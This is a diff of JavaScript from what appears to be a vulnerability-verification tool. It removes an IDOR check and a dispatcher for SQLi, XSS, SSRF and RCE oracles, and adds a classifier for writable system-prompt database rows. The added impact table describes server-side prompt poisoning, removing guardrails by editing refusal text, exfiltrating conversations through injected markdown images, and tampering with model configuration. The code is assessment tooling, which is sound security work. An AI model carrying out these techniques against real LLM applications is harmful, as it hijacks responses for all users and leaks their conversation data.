- if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
1936
- hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
1998
+ const impacts = [];
1999
+ for (const rule of PROMPT_LAYER_IMPACT_RULES) {
2000
+ if (rule.patterns.some((p) => p.test(haystack))) {
2001
+ impacts.push(rule.impact);
1937
2002
  }
1938
2003
  }
1939
- if (hits.length > 0) {
2004
+ if (!asset.writable) {
1940
2005
  return {
1941
- verified: false,
1942
- confidence: 0.7,
1943
- evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
1944
- reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
2006
+ isPromptLayer: true,
2007
+ impacts: [],
2008
+ severity: "low",
2009
+ narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
1945
2010
  };
1946
2011
  }
1947
- return notVerifiable("no distinct 200 response on id mutation");
2012
+ const reRead = asset.reReadAtInference === true;
2013
+ const severity = reRead ? "high" : "low";
2014
+ const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
2015
+ const narrative = [
2016
+ `WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
2017
+ reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
2018
+ `Impact class(es): ${impacts.join(", ")}.`,
2019
+ ...impactLabels.map((l) => `- ${l}`),
2020
+ "Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
2021
+ ].join("\n");
2022
+ return { isPromptLayer: true, impacts, severity, narrative };
1948
2023
  }
1949
- async function verifyOracleByCategory(finding, target) {
1950
- const category = finding.category;
1951
- switch (category) {
1952
- case "sql-injection":
1953
- return verifySqli(finding, target);
1954
- case "xss":
1955
- return verifyReflectedXss(finding, target);
1956
- case "ssrf":
1957
- return verifySsrf(finding, target);
1958
- case "command-injection":
1959
- case "code-injection":
1960
- return verifyRce(finding, target);
1961
- case "path-traversal":
1962
- return verifyPathTraversal(finding, target);
1963
- // Heuristic: "information-disclosure" findings referencing an id param
1964
- // look a lot like IDOR. We route them through the IDOR oracle as well.
1965
- case "information-disclosure":
1966
- return verifyIdor(finding, target);
1967
- default:
1968
- return {
1969
- verified: false,
1970
- confidence: 0,
1971
- evidence: "",
1972
- reason: `no oracle for category="${category}"`
1973
- };
1974
- }
2024
+ var IMPACT_NARRATIVE = {
2025
+ prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
2026
+ guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
2027
+ output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
2028
+ model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
2029
+ };
2030
+ function describeAsset(asset) {
2031
+ const loc = [asset.table, asset.column].filter(Boolean).join(".");
2032
+ return loc || "unnamed asset";
1975
2033
  }
1976
2034
 
1977
2035
  export {
2036
+ parseRequest,
2037
+ verifyOracleByCategory,
1978
2038
  parseSanitizerLog,
1979
2039
  renderSanitizerVerdict,
1980
2040
  detectPlaybooks,
1981
2041
  buildPlaybookInjection,
1982
- classifyPromptLayerImpact,
1983
- verifyOracleByCategory
2042
+ classifyPromptLayerImpact
1984
2043
  };